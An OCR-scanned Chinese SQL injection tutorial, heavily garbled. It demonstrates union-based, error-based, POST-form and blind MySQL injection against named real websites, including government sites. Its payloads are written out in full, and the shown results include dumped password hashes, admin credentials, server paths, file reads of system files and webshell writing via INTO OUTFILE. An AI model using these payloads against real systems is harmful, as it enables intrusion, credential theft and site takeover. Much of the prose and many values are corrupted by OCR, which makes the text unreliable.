i '-"I-I.S-II{I.bi;A“II\\'I'I)SIII'II“IIMﬂ, fi —4".‘111‘{]5?; T —’i\'\"-._nﬂ/f*? IR L IIIIR
| Warning: Lnrxpooled character in input: "\' (ASCII-92) state=1 |
kHﬁ“w@%WRﬂH WEACPY ELR el 6B 2 F AN L il i M ORI LY o FRBA— B ™y webshelIBBAL ™ — iy, TR

HSAY, WAHANSGHREEAWM, RRAZ 1A e WA AN Finfafr a2 A S~ foomas AR AN ol
AN,

I
I
I
S




Nc) mysoL+jspitA—il

WAL ZRETEA PR ? FEARIARRE T Tomeat jspr MySQL T, FRIAREIH, Tomcat fESYSTEM 564 root IFIEXER,
il jsp MySQL BPDCEE R root, jsp Ehphp RINGPC, WB1GiH, REAGIFXMTEA, HEATAL IRFSENNAE T,
TEATRA BCRE ZRE, MBLjsp MySQLIFEA "1 php  MySQLIFREA PTG SRILT 5%,

BHARTAL:

Jjsp?id=0'union+select+1,concat(database(),0x3a,user(),0x3a,version(),3,group_concat(user,0x3a,password,0x3a, file_priv,0x3a,host,
0x3¢62723¢)* from* mysql.user%23
R b

G : root@localhost.localdomain:4.1.9-max

root:*DE97688E913C3B9B8E9ASEIBADCLI7AF2FA375627: Y :localhost
,foot:*DE97688E913C3B9BSEOASE3IBADC17AF2FA375627 Y develope
,david: *EAEC372EEB24AA40524B6BFE21927C5EA30F2048: N:localhost
,root:*DES7688E913C3B9BSESASEIBADC17AF2FA375627:Y:211.72.178. 4086
,root:*DES7688E913C3B9BBESASEIBADC17AF2FA375627:Y:211.72.178. 80
,test:*94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29:Y develope
,test:"94BDCEBE19083CE2A1F959FD0O2F964C7AF4CFC29:Y:211.72.178. J6
,test:®94BDCEBE19083CE2A1F959FDO2FO64C7AF4CFC29:Y:211.72.178. |48
test:*94BDCEBE19083CE2A1F959FD0O2F964C7AF4CFC29:Y:211.72.178.
Superht:*E06323846BD27021132723BAB6408BF7E9623AB24:Y:%
,root:*DE97688E913C3B9BBEYASEIBADCLY 375627:N:59.124.219 1l
,root:*DE97688E913C3B9BBEYASESB 17AF2FA375627:N:%

| 0

I o 3] F silic
hostM% #n I BASMEMySQLE R . FMiE— A hostM% H file_priv MY IFRK ' superht:" £06323846BD27021132723BA86408F7E9623A B 24

I fiff f hash Mjivha353, ALARRT WA Froot BB, nlBAREISQLIGf], KK webshell:

} select jsp— BiE I hex k% into outfile /B /webshell jsp's i
LR, M 55 25 v PSS TEA M, BT ete /passwd RSP, SRETILABEARIRESIABELE Vvar wwwBl home feriterion g4

I W, XA EERL B i | /public himl HI /htdocs BSEEEERA LM SASEIE . K 240K ISP Tomcat FIRET XCFE, HHITnux b
Apache i WRLTS PSS R B Tomeat, HAS8RSH A K.

I AR A R AR ¢ i, KR DIk, NSRS MR ] Rl B R, k22
Mo TATMAEN G GIRA G0, M7 %h Apache, &fiphp, PIUERETomcallflih, HBR WL A ere/
profilefitl, RIAEMER, FOREZWET, TA:

I ] select load_file(' /ete/profile));

I EH R T TomeatlIEER: /use/local/jakarta-tomeat-5.0.19

o Query|
1 atam:s ise fest (mewt| valie: | IERIERINETHEEIESBEIEN |
((mume sen 3 =)

| S e [HERGA. ) [ WRR.
pathrmunge fuu/ X1 TR shee
st patbmunge

& Mo core e b default
it -5 -0 > [dewieul 1381

HOSTREMES
WESTSIZE 1000

JE9]

enpor PATH CLASERATH JAWA_HOME

| 2 "HINPUTRC” & 1 4 "SHOMELngutre” J; then
INTRC /et inputre

m

£4port PATH USER, LOGRAME MAJL HOSTNAME HISTSIZE INPUTRE

gt
CRLASERATH =, FLAVA_HOMELbRIAVA_ oM/ na h
0, myegl-gene 3. 4-b e
mpart CLAI 4.0 3.4 6-bemjar
P SIAVA_HOSE e 3404,
fet o i fatefpretie 47" 4h | 85
ALt 78 T then
o
[
tana
| o)
= o e S

I EHEIOA D H ok B confserveramIBRERET T MELRBEES . Bam M}’SQL’ﬁWEhSlN‘"
AR HAR R 7 webshell.

S —




m php+tMySGLiT ARz Ui/

AN EKTT T RERE SR AT — 0 H3L: i dionte, IRLRAE NG, B2l daabaseORREE me A RIS A Hibf (P 1K I
mﬁﬁﬂ firi 3.

2ﬂﬂ$ﬂ$ﬁ.%ﬁhh&ﬁﬁi&ﬂ$ ﬂ&uﬁﬁﬁﬂﬁ&ﬂﬁﬁ,ﬁ%mmm%ﬁ*cﬁﬁ%ﬁ,ﬁ?&Aﬁﬂ?Hﬁkz I
Eﬁﬂﬁ,ﬁﬂﬁﬁﬁ&AﬁﬁmF:

I http:z//www.tkfd.or.jp/research/theme/index.php?id=1+and+ 1=2+union+select+1,2,3,4,5,6,7/"
RIS AT TR0, SOOI TR S, W
I XHO RSO SBV) tEmn TAD WS
WSEE | @ ewEAT —7 | RO WK - WANE . ||
| momamsr—
+ GRE
:mmwus&dm | sowies
+ MEFEIRN o6 CEWE: 0/00700)
* T3
I Sl | e
+ ESiEE o6 CEWIE : 10/00/00)
o ikl
« BlE | %
o T ESIE
+ 7TAN o6 (ERRE: 00/00/00)
+ E
I +3-Z7F I L5
Hrs o6 (E#E : 10/00/00)
BEMGROTOT L b .
B0z il o)
mm !!ITOF o6 (EFRE: 00/00/00) / . 3 ﬂ- o,
| vt Pl ?/"w.mum,m

I [EF, 717 Sl SO TRl B 1§ TR (5

| hitps//www.tkfd.or.jp/research/theme/index.php?id-1+and * 1-2 tunion select +1,2,3,4,5,database(),7/*

I MR AR SRR :

lects 123,45, datobace(.7/

I ;:::2:1 Pudee=t > > JE F=7 >
I = A

LR 52 s O A 58 s database) IR STl /ARG AL AT 7 EAB BRSSO I8, BUT hexOREIRAE
I ARSI RGBT, R ESIRA P T e RS, SR A il AL

hitp://www.tkfd.or.jp/rescarch/theme/index.php?id-1+and + 1-2‘union *select  1,2,3,4,5,hex(concat(database(),0x55f,user(),0x5f5f,

version())),7/*

|
S ——




m php+MySGLiT ARZIRGI5 /T

2T lﬁﬂ
E_Rl_ B ® TITI6CH FATOSFIAEN 2
I [ B P
| | mmwn- mmTor A SRl
| =t J ?/m.llmm
R0l 2 p
| 73716C5F64625F66752E6D 793826737569746528,6A70406463362E6574697573 2L 6A 705K 342312631 322D6 C6F 67 |
KUt — PRAL:
| ql_db._fu.my8.suite.jp@dcé.ctius.jp._4.1.12 log |

G i i 4 560303 S0 1P (10X SRR AL I 2% ol i TR I AR P RIER & )
A R bR YE B B R ql-db; i B g fu.my8.suite.jp@de6.etius.jp: B R A - 1.1.12-log

REEUCHA S MRS MhecknHF %, MR 5] wl shiHlang-cn WP EWI{] 2004 3%, XH hexoRunhex A0, HIY I
Rk, LA P IR T A A BRIk, N8, RBREALRE, AREEEAMYSQLIF, BAEREZMT.
I BB AK: convert( I
il Ykt
fiMySQLIM AR RECrh, fiiX 2 L0 gb2312 Flul-8 CHIRAA, HAAEARPY . B PRARILatin1, SR S g
WA, ALY puser() CHIB B A bl iX A i ksl A R 32 7). REnTRE RIS A Il XA IR Hlconver e 5k latin1 & nik iy
1o A l4n:
| CONVERT(group_concat(DISTINCT ruser,0x3a,password,0x3a,host) USING latin1) | I
X 20, Fh S AR IH T, A M. Coollit L i
http://www.gov.ai/vacancies/details.php?id=-1+UNION+SELECT+1,2,3,4,5,6,CONVERT (group_concat(DISTINCT +user,0x3a,
I password,0x3a,host)  USINGlatin1) *from ‘mysql.user/"” I




WD rheiMySOLZENERRBHFHEDE

AR A % IR H AT 222 Ak, WATEA SR, BRI order by Bl BT B, RSB union select

o, oo IS AL 2P XH A B oooceom/n, Mo AREAECY, Uil A 0AER], RHEBRTAR. I
i IR et SQLIEA ISP SQLIG R, EMifiif&Beh, fi— A FBRL T, — I union select 37 J'F B

T o KB T order byRE2 k.
RIS nulDR 42 A5 7 B RV il
hitp://www.gym-spa.com.tw/news.php?handle-detail&id=12'order+by* 13%23
(151

TEASHA AT R, ¥ BBOiA M3

http://www.gym -spa.com.tw/news.php Thandle=detail&id=0"union *select*1,2,3,4,5,6,7,8,9,0,11,22,33%23

SHHARR, kY es

hitp://www.gym - spa.com.tw/3

D PAL IS A Wt SR ol 483 5 IR B Y
hitp://www.gym-spa.com.tw/news.phpZhandle=detail&id =0'union *select 1,2,null,4,5,6,7,8,concat(database(),0x3a,user(),0x3a,version
(),0x3a,@@datadir),0,11,22,33%23

MRS /home/gymspa/public_himl/

B8 f: gymspa data

BRI gymspa user@localhost

B RRA: 5.0.95- community

BARBEER: var/lib/mysql/

fati ¥ Bh: /admin/login.php

T A spa_user

PR admin/123456

S —



phpF Lt A2 EbI Iz IhI%

B A L, Id s KA, GRS P tkef A5 A, )
frlém: IIHi):,-":,-’:.l-lIN'.l]lt'.ll!&,-"iiflHr}lx,-”..'li'l'!i]\'f'.-”llllill"lhl‘I'.i)!!!)?](' 123, a5

SQL: ERROR: unterminated quoted string at or near "' = main.id" at character 47(request was:) SELECT main.” FROM "numbers"
main WHERE 123' = main.id Number 123" not found in the database

2l hhpfmname-ub‘?!a!éey chive/number, php?id=123'

S:ﬂ:(E) M{E] EENM @) TRM BEH)
ip MR (00 - @ phpETEAEEMME. | @ Halifax G&S Databas... X:

SQL: ERROR: unterminated quoted string at or near "' = main.id" at character 47

(request was:) SELECT main * FROM "numbers” main WHERE 123" = main id

I Number 123' not found in the database

: 3 silic

I main LAMIEHE, AT Bo WHERE 16 - main.id S8 % k] T WHERE 16 - id, SFHORE0RURLAT A 2062, WAl A
W 2 BeF % — DAL, TR, B, BAR? At hikukin:
| http://fine.me.uk/halifax/archive/number. php?id-id-1+and" 123
I EA R EATRBEAAHE ... A L B
| bitps//fine.me.uk/halifax/archive /uumber. php?id-id-1+and+ 123
fontm p:

Number id=1 and 123 not found in the database

Se'.ﬁ:(F) ﬁ{E) EE(V) l&ﬁ%(ﬁ\) I8 #=EH)

T EEE (23] | @ phpETIARERME.. /, Halifax G&S Databas...

Number id=1 and 123 not dfd iﬁ% m
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Sk =T 1)13x15

I A TUREMAR AR, 6 7 2ZRMIUER, W00, ARKRBRED TH, AIEEATN, AR - I
| |

“select +GROUP_CONCAT(DISTINCT table_name)* from information_schema.columns ‘where table._schema-Btiif Z#fihex

A REMYSQL 5B & ARG, ASER &M, | il 605 infromiBEES, A% LI LR AR fromby ik 275

| from*information_schema.columns*where+table_schema-database( | I
fulkhaiin, P 7 ARBERIRS SR 7. fAlim:

I https//www.blanchardgroup.ca/news. php?id=-1+union select 1,2, CONVERT(GROUP_CONCAT(DISTINCT table_name)+ USING I

“latin1),4,5,6* from ‘information_schema.columnswhere- table_schema-database()

I T AP ECONY ERTOBHM latin B NL, 5% Ghp MySQLEEARRER A2)

r
[
I
I
I
[
[
I
[



) MysaLmpInTIIEs

FLEA Mahl o

rekguitars.com/english.php?site=dir&nr=-2+union*select*1,2,concat(@@version_comment,0x5c,@ @datadir,0x5¢,@@tmpdir,0x5c,
@@version,0x5¢,user(),0x5¢,database(),0x5¢, @@ version_compile_os,0x5¢,@@version_compile_machine,0x5¢,@@warning_count,0x5¢,
@@system_time_zone,0x5¢,@@query_cache_size),4,5,6,7,8,9,0,1,2,13,14,15,16,17,18

@@version_comment
@@datadir

@@tmpdir

@@version

user()

database()
@@version_compile_os
@@version_compile_machine
@@warning_count

@@system _time_zone

@@query_cache_size

concat(@@version_comment,0x5¢,@@datadir,0x5¢,@@tmp dir,0x5¢,@ @version,0x5¢,user(),0x5¢,database (),0x5¢,@@version_compile_
08,0x5¢,@@version_compile_machine,0x5¢,@@warning_count,0x5¢,@@system _time_zone,0x5¢,@ @query. cache_sizg)
5
Source distribution
/home/mysql50/data h16/
/home/tmp/data h16
5.0.90-log
fulara_2@85.128.166.242
fulara_2

unknown linux- gnu
x86_64

0

CEST

16777216

SIRMEAN, ALt

I
I
I
e —



\" B MySOLBizDEIAL

B iA T R, php MySQLIEA, KA HREBI AR, — B MySQL Bl l&phpl}‘a':.?l'i MySQLif Gl s 7.
UL RESS A SO AR IREEA, 23b— L php WRBLE, php SonWBA SCPHRRME-— frilibli 7. XA B fEA IR iR NG 2
M.
AGiEAL: htp://zone-h.com.cn/detail.php?ID-35and 1-1, fIAHIT HHMT B Oh2, ikl I
http://zone-h.com.cn/detail.php?ID=55+union*select+1,2,3,4,5,6,7,8,9,10,11 |
FRI11: “SQLBMHR: The used SELECT statements have a different number of columns”
http://zone -h.com.cn/detail.php?ID=55+union*select*1,2,3,4,5,6,7,8,9,10,11,12 I
TH2:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use I
near ‘union select 1,2,3,4,5,6,7,8,9,10,11,12" at line 1

TR, TSRS, B, T MyS QLIRS SR AR, MySOL IR SHRIE, 1T B e I

2A, B AR

1, BAIRGEY, BTG ETR b A 24X R, . php?id-08k & .php?id-12+and+ 1-2

2, BESQLERG &l fl, Rl A:

union select 1 from (seleet ' count ("), concat(floor(rand(0)*2), G AMBREL HEH f1)))a from information_schema.tables group by a)b

3, dERER A, AR AR I R R, o DU R, WalBURT 2R, e B3I A #

1, BB, IARGUBR AL select XX from YY K

AR 2 U — R R A, Ik R ER B, AfBupdata ARE select into AR insert AFE load file() AfE

group_concat(), 1 lflconcat) 8 ARFEH.
AR EARIE, AL A timic o yBRBIASEE, WAEAL select XX from YY limit abo axBARILASTTYG, MOTTERABA %, bA

Flbs—JULZENE, R R A, BREALS Gmi 0L SRS B, limie LIRES2Z8 50, — KK ML

FimiZHEERBAHRARR, FRolBURATTA R f bG5S A RS X

MySQL A i Bl £, GRANP,  Bolla i A R ETE R385 Bl AL

select concat(Dx3a,database(),0x3a,user(),0x3a,version(),0x3a,@@datadir)

15 EiniISQLIf T At il i A PLASERT SREA 10

hitpz//zone -h.com.cn/detail. php?ID=0+union*select+ 1+ from* (select *count (), concat(floor(rand(0)*2), (select  concat(0x3a,database(),

0x3a, uscrO 0x3a vt‘rsmnO 0x3a, @@datadlr)))a+ frominformation_schema.tables ‘ group by a)b
:‘iv.ﬂlll'lf@ PMEAT T SQLIBMHNR:
Duplicate t‘nlry "l:mel10-mel10:mc110@localhost:5.1.34: /usr/local/mysq]/var/ for kcy group kcy

i)uph(:ﬁ!v entry T T B Rt (U E 9 6 L P il S L i ; mell)_mel ]{)ﬂ:&mﬁ-ﬁ, me 110@localhost &AM mr"; 5.1.34 )‘!IE
WRAS: Juse/l :(»;d.f":ll}'st[l.-’:v:u',-"'i% M vSQI B

| ¢
I
I
L________
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ik

=| R OSQLI AT A Fim2 Uity sK5REA 6

lfl f‘ﬂ fA5ISQLiG in IA:

Hepisepe adminflal Bl & GT A, k'l'ﬂﬁ] e

’lgia!ﬂlr name - '50!)(? ﬂllmin'ﬁ}]lwxﬂlﬁ*ﬁi‘:: table _name=0x356570655[61646d696¢, *:i:Al-{';ﬂ‘;i:‘ﬂIt

FEANS MO BT, AL H%‘:ﬂ;u Sepe admin, 1 "M‘Ihﬁ?-] Id,adminname,

\" B MySOLBizDEIAL

PRI IR S A, MySQL Won i Pl f S04 1138 400 e

select table_name from information_schema.tables where table_schema = database() limit 0,1

sclec! la]}le name from mformatlon schcma cohmms whvre tablc_schema dalabasc() limlt 0,1

hitp://zone-h.com. cn/detail, ]J-hp‘?ID O+union*select*1+ from* (select*count(*),concat(floor(rand(0)*2),(select* table_name +from* mformatim

_schema.tables*where*table_schema-database()limit+0,1))a* from*information_schema.tables*group ‘by*a)b

Dupllcalr- entry lSepp admin’ l'or kcy group_key

(-' Q‘ & http://zone-h.com.cn/detail phpiID=0+union+select+1+from=(select=count(’)

8 monehcoman -

o Jd Silic " Google ¥, Google 58 3 Google 8% [ Facebook €} AA 3 Twitte

SQLIZ a1 Duplicate entry '1 M kfor key 'group_key’

2
o JF silic
’waw.eumnn.ou
Iﬂll“_lﬁll{iﬁ]. G?ﬂIH‘i limit 0,1 ﬂfl linit 1,1 limit 2,1 ...... — ﬁfﬂ{:{.r]; “S()Li{%ﬁ]iﬁ in: The used SELECT statements have a different

number of columns™ PIRE, ARG 7. BRI IA LA kUL Sepe admin, Sepe [ug. Sepe title, him.u;lltegm'y. hkd adixt, link,
news, &R R TR, BRAAMSQLAT Bitih 1

select column_name from information_schema.columns where table_name = 'Sepe_admin’ limit 0,1

http://zone -h.com.cn/detail. php?ID=-1+union*selects1+from* (selectcount (),concat(floor (rand (0) *2),(select*column_name* from*
information_schema.columns*where table_name-0x35657065561646d696¢ *limit +0,1))a+from *information_schema.tables* group +by*
a)b

f515epe_admink B3 147 B MId

hitp://zoneh.com.cn/detail.php?ID=-1+union*select1+from (selectcount () ,concat(floor(rand(0) *2), (select *column_name+ from+
information_schema.columns*where+table_name-0x356570655{61646d696¢ limit* 1,1))a+ from *information_schema.tables* group +by*
a)b

B limit i 35cpe_admin &BR24F B Madminname

hitp://zoneh.com.cn/detail. php?ID=-1+union*select*1+from* (select*count () ,concat(floor(rand(0) *2), (select *column_name+from*
information_schema.columns+wheretable_name=0x35657065561646d696¢ +limit+2,1))a+from *information_schema.tables*group +by+
a)b

BT mit M $5cpe_admin kB34 B Hadminname

adminpass,




S —

L) wsoLizBRiEAL

A TIPS EE,  SQLIG A

select concat(0x3a,1d,0x3a,adminname,0x3a,adminpass) from Sepe_admin

WAZRK:

http://zone h.com.cn/detail.php?1D=-1+union*select1* from*(select* count(*),concat(floor(rand(0) *2), (select * concat(0x3a,adminname,

0x3a,adminpass)* from+5epe_adminlimit+0,1))a* from ‘information_schema.tables* group*hy+a)b

NI admin:8e02a1062¢785a4b13eca9bh78¢21783

(é http://zone-h.com.cn/detail php7ID=-1+union+select+1+from+ (select+ count(*), concatifloor{rand(0)"2), {sel

& zone-h.com.cn

x

SQLiEH)#18: Duplicate entry '1:admin'8e02a1062c785a4b13ecadbb78e21783" for key 'group_key'

2H K, ﬁM\rS()LHi?sHﬂ&AH‘I TR T .

) hnpyaone-huooen.on/ admin/index phg

EErmigmmaen:
B Bl o Pwww nsivas com

Mid: zone hocom.eniX A 853 7R REH 6 Sk 172

L SR AR R R
Rk :
s 5 LE: £
LR SRGAMNDAETL BRI O SRDR TR TR !
i —HEES RANEL I T IERE BN REA O
: R BOAR R LR
Lia ]
nEAR
LR
o0 2060-h oo oy
al REES: L 2RELEASE
LS | 2 A
Lioa-did | Uy
AT | B bR
".”* 1 SRR R Mame e 1 10_me T 1M waTesr
wERE

pRmR:
R P agmin

AR 20020221 05 AT4S

FREATTH0

Boibam

- SLEFREETH

= miaTEEERS

SRR L
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') EoesierosTizDREA

A 7 AAEMBR M BRI E S n, FlmS4A: " Your Box Own3z By Behrooz Ice - Q7x ~Sha2ow -Virangar -AliEagle
I “iman_taktaz - Satanic2000” “We Love Iran” ““Ashivane Digital Security Team™ RH PIfzz. — St A 52k & 4 A RIR 5 I
Lzone hARR, BWRZA 7 RABEIHY, MG 7 HRE, W AXRPP,
iR 2400 1 kg ep.,
PSR %5 85ip M 20315418308, L LA AB 1124 xx.cad.goah IR A 2005, 48 F %5 www.cad.go.th
(www.cad.go.th/ webadmin/ ), $EANA 7 A LlhiHa%e, JA L DERBRIDRI, SUT foMA S, ASARRA T, A
Hinmipn] LA ST G.

I fi TG, Filns fiBasyWebTime 8.6, AMEAR 2409, BRI 4: admin'or 1-1# FEHT 812345655 bh.
f50%m ol 3
INSERT INTO log user (log_date , log time , log mid , log user , log_date_text , log ip , logmodule , log module_detail , log-
I detail ) VALUES (2011-11-19', '10:39:41', ", 'admin’or 1=1#', '19/11/2011 10:39:41', '24.77.19.26, 'login’, 'login’, 'viingfs31iw)
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use.
I near " at line 1 | | | -
KAl AR XA INSERT INTORAHER, KRR,

You have an error in your SQ__L synta.x, check the manual that corresponds to your MySQL server version for the rig]:lt syntax to use

I near " at line 1
MR G HPOSTIEA, iinH A B8 WA Y . R ELE, BEASOL TAMPOST iy fin], @il 1R il KA AR 1965
I B HamliE A, 2000 7. P aiasy:
admin’ union select 1 from (select count(*),concat(floor(rand (0)*2), (select user() limit 0,1))a from information _schema.tables group
I by alb#

WA, SulBkh, Bl AR,

I
I
I
I
-



it R davascripfTfi 08, SRLLRAIER, £ESIRmEANR R, TIRS 7 Dhum X

<form name="form 1" method="post" action="http://203.154.183.18/login.php">

<textarea rows="5" style="font-family:Times New Roman;font-size:14pt;" cols="80" name="EWT_User">admin’ union select 1 from
(select count(%),concat(floor(rand(0)*2),(select user() from mysql.user limit 0,1))a from information_schema.tables group by a)
bi#t</textarea>

<input name="EWT _Password" type="password" class="texfield" id="EWT_Password" size="22" value="xxxx" />

<input name="Submit" type="submit" class="submit" value="Login" />

<input name="Flag" type="hidden" id-"Flag" value="Login" />

<input name="password_hidden" type="password” style="displayznone” value="Welcome" size="10" />

<input name="password_hidden" type="password" style="display:none" value="Welcome" size="10" />

<input name="password_hidden" type="password" siyle="display:none" value="Welcome" size="10" />

</form>

HACREL, line 190 1 method Zn R ST APOST, Kl action ML FIIMIE, AEMGERE s I i BN b oKiv, 1
’actioniX UL R furlbhl . WAL IR A 7L PR M ochiml BB i, A0 XA A A G N],
A RREXH I

admin’ union select 1 from (select count(*),concat(floor(rand(0)*2),(select user() from mysql.user limit 0,1))a from information_

schema.tables group by a)b#

TARE 7l b
SELECT * FROM user_info WHERE EWT _User = 'admin’ union select 1 from (select count(*),concat(floor(rand(0) *2), (select user()
from mysql.user limit 0,1))a from information_schema.tables group by a)b#' AND EWT Pass - 'ead16ed0759d46a8de58{63a59077499'
AND EWT _Status = "Y'
Duplicate entry 'Ibizpoten@203.154.183.18' for key 1

=)
e 2y A
l)| @ o /0315428338 ogin php Px2EX] @ 7 iE

| & 20315418318 xhl Y'Y Y

| B v Page~ Sefety~ Teoks~ &

| SELECT * FROM user_info WHERE EWT_User = ‘admin’ union select 1 from
(select count(*),concat(floor(rand(0)*2),(select user() from mysql.user limit
0,1))a from information_schema.tables group by a)b#' AND EWT_Pass =
:' 'ead16ed0759d46a8de58f63a59077499" AND EWT _Status = "Y'

Duplicate entry "1bizpoten@203.154.183.18' for key

|

I Eiﬁm]ntl|)li(ﬁl(a entry 'l|)izpuien@203.]54.]83.]8' for l;ey 154 L Mg “‘]&)\éﬁm (Z‘Mﬁim]“qﬂﬁﬁ?lll) ,&Alﬁﬁlqlnq

. 34 sidic |
’bwwwmﬂ'ﬂ.ﬂﬂ

| select user() from mysql.user limit 0,1 |
I R AL AT BT,

select user from mysql.user where host="%' limit 0,1 |

I WABREAMRIRGE A%, PR N, IDERRTET ARSI RM P, mysqKr:
Hrd:  EWGA
kk *SBIBAI157688A49AF BE7513677DCD4F7(43257018 %
I bizpoten *7F6E575FAD18674CADD3B8495C79F BASB58090D 1//12QwAsZx %
webboard “51E610BE77CFOF81D2861AF180B496D 1CA2A7637  localhost
root  EHFPY 127.00.]

m--------

S —



IY) EezgicrosTizoREA

BaA s p R
schema=database() limit 0,1))a from information_schema.tables group by ab#

ARA702A, duBkAL AR, BRAS YR, Ef*ﬁnﬁ? I tinifuser mioﬁ'lﬂ?ﬁﬁ‘l&ﬁ
‘amphur,article_list,block,block_text,blog. category,bl ment,org. type,user. inf

i £ 20K 75 85 1°1203.154. 183.18“?%%%@7‘] template/template, ﬂ%ebshellli‘.ﬁ*ﬁ?

IR, MRS A windows, F 7 REMAL, HAFB6OHA A RH FE WA —AHRI, SbmsER..... AL FEMA =L
BT

S ——



s) MysGLEIAT

A SCEHDR FI2APBEIa iR BT AN A Sunl BL kRIS 35 Il S CE AR SRECIE, AN SO T IH@ I, ol SRt ik Beisk

AN, B SRSOLAER, Frib AR IS IR W, UL K I 538 50, I
LAVORAGITA L, R B2BM AN 2 al:
http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin
M AL saEm
http://www.smartb2b.net/demo/b2b/member/check.php?js_user-admin’

select userid from demo_b2b_member where user = 'admin"You have an error in your SQL syntax; check the manual

that corresponds to your MySQL server version for the right syntax to use near "admin™ at line 1
WIRBUR I T 7o SiiTh - MEATUIRENE (R) -

$js_user = trim($_GET["js_user]);

if($js_user){

$num = $db->num_rows("select userid from demo_b2b_member where user = '$js_user');

if(1$num)

echo "<div class-tips3></div>";

else

echo "<div class=tips2> H " £ L HET M </div=";

}
PAGET FisUIAI A8 i js userf IREEA CLIEHE AL IR A T BRI AT, JEHMySQLERE T 7, f0RJF% A S on B RHT s 2. iin
RAMREENG, B2V MunionfFiER A, AAKA:
http://www.smartb2b.net/demo/b2b/member/check.php?js_user-admin'andleft(version(),1)-5%23
BRIP4 A ORI RS Q LB I R 2 F1:

select userid from demo_b2b_member where user = 'admin'and left(version(),1)=5#'
RUORARE IR, VAR RS num) R0, W TP ACWEM” . IB2RA M5 . JOK fidatabase ORE:

http://www.smartb2b.net/demo/b2b/member/check.php?js_user-admin'and ‘length(databas e(0)-6%23

database 0 K16

http://www.smartb2b.net/demo/b2b/member/check.php?js_user-admin'and left(database(),1)="1'%23

1

http://www.smartb2b.net/demo/b2b/member/check.php?js_user-admin'and ‘left(database(),2)-"1i'%23

li

http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and left(database ,3)="lic'%23

lic

http://www.smartb2b.net/demo/b2b/member/check.php?js_user-admin'and-left(database(),4)-"licl'%23

licl

http://www.smartb2b.net/demo/b2b/member/check.php?js_user-admin'and left(database(),5)-"licln'%23

licln

http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and left(database(),6)="liclny'%23

licclny

lengthOFR LT3 85 PECISIRLIE, Il MR Ec Y, nIBURA T/ T BIES T 5 ORPIBE &l o, X R A— MenOpEehiiEk
I TR, KTlefOME, nBAAHIZEMSQLTM. FRA — Sui i

S S —
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http://www.smaﬂ]ﬂb.net/demo/l)Zb/member/check.php?js_lmer=admin'and+lengt|1(pass)=32%23
select userid from demo_b2b_member where user = 'admin’and length(pass)=32#'

A length O BB PIF pass L MR, 28R v £ 5 ML Wic A ek ko X BRI, passHI i selecthy Pluserid g — 4> &
l Fdemo b2b_admin, FRBAA B M aselectififil, 204 PELRER £il:
ERRERAFRTEEN, AXEUES P, RIHER. R,

KEAE32, RodsiE, @EH SRy

hitp://www.smarth2b.net/demo/h2b/member/check.php?js
l hitp://www.smarth2b.net/demo/b2b/member/check.php?js..
htp://www.smarth2b.net/demo/b2b/member/check.php?js.
hitp://www.smarth2b.net/demo/bh2b/member /check.php?js
l hitp://www.smarth2b.net/demo/b2b/member /check.php?js
hitp://www.smarth2b.net/demo/b2b/member/check-php?js.
I hitp://www.smarth2b.net/demo/b2b/member /check.php7js
hitp://sww.smarth2b.net/demo/b2h/member/check.php?js
hitp://www.smarth2b.net/demo/b2b/member /check.php?js
I hitp://www.smarth2b.net/demo/b2b/member /check.php?js..
hittp://www.smarth2b.net/demo/b2b/member/check.php?js.
I hitp://swww.smarth2b.net/demo/b2b/member /check.php?js
hitp://www.smarth2b.net/demo/h2b/ member/check.php?js.
htip://www.smarth2b.net/demo/b2b/member /check.php?js.
I hitp://www.smarth2b.net/demo/b2b/member/check.php?js.
hitp://www.smarth2b.net/demo/h2b/member/check.php?js
hitp://www.smarth2b.net/demo/h2b/member /check.php?js
I hitp://www.smartb2b.net/demo/b2b/member /check.php?js..
hitp://www.smarth2b.net/demo/b2b/member/check.phpZjs..
I hitp://www.smarth2b.net/demo/h2b/member /check.php?js
http://www.smarth2b.net/demo/b2b/member /check.php?js
hitp://www.smarth2b.net/demo/b2b/member/check.php?js.
I http://www.smarth2b.net/demo/b2b/member/check.php?js.
hitp://www.smarth2b.net/demo/b2b/member/check.php?js
I hitp://www.smarth2b.net/demo/b2b/member /check.php?js
hitp://www.smarth2b.net/demo/b2b/member /check.php?s..
http://www.smarth2b.net/demo/b2b/member/check.php?js.
I hitp://www.smarth2b.net/demo/b2b/member /check.php?js.
hitp://www.smarth2b.net/demo/h2b/ member/check.php?js.
I hitp://www.smarth2b.net/demo/bh2b/member /check.php?s..

http://www.smarth2b.net/demo/b2b/member/check.php?js_user-admin'and+left(pass,1)='0
htp://www.smarth2b.net/demo/b2b/member/check.php?js_user-admin'and*left (pass,2)='04

user=admin'and left(pass,3)-'048

user-admin'and lefi(pass,4)-'0484

user-admin'and ‘lefi(pass,5)-'04843

user=admin’and ‘left(pass,6) ='04843¢

user-admin'and left(pass,7)-'04843¢9

user=admin’and left(pass,8)-'04843¢9f

user-admin‘and “lefi(pass,9)-'04843¢9f9

user-admin'and left(pass,10)-' 048439191

user-admin'and left(pass,11)-'04843¢9/91a

user-admin'and left(pass, 12)-'04843¢9/91ad
user-admin‘and “left(pass,13)-'04843¢9f01adf
user-admin'and ‘lefi(pass,14)-' 0484399 1adf2
user-admin'and left(pass,15)-'04843¢9191adf22
user-admin'and lefi(pass, 16)-'04843¢9191adf228
user-admin‘and ‘left(pass,17)-'04843¢9191adf 2287
user-admin'and “left(pass,18)='04843¢9191adf2287¢
user-admin'and left(pass, 19)-'04843¢991adf2287¢0
user-admin'and lefi(pass,20)-'04843¢991adf2287¢0a
user-admin'and lefi(pass,21)-'04843e9f91adf2287c0af
user-admin'and left(pass,22) - 04843¢9191adf22870af5
user=admin'and left(pass,23)='04843e9f91adf2287c0af5f
user=admin’and lefi(pass,24)-'04843¢91adf2287c0af5fe
user-admin'and ‘lefi(pass 25)-'04843¢9f9 1adf2287c0af5fe |
user-admin'and left(pass,26) - 04843¢9191adf22870af5fe 16
user-admin'and left(pass,27)-'04843¢9{91adf2287c0af5fe 167
user-admin'and left(pass,28)-'04843¢9M91adf2287c0af5fe 1675
user=admin‘and ‘left(pass,29)='04843¢991adf2287c0af5fe 16750

_user-admin'and left(pass,30)-'04843e 919 1adf2287c0af5fe 16750a

user-admin'and ‘left(pass,31)-'04843¢9f91adf2287c0af5f¢ 16750a3
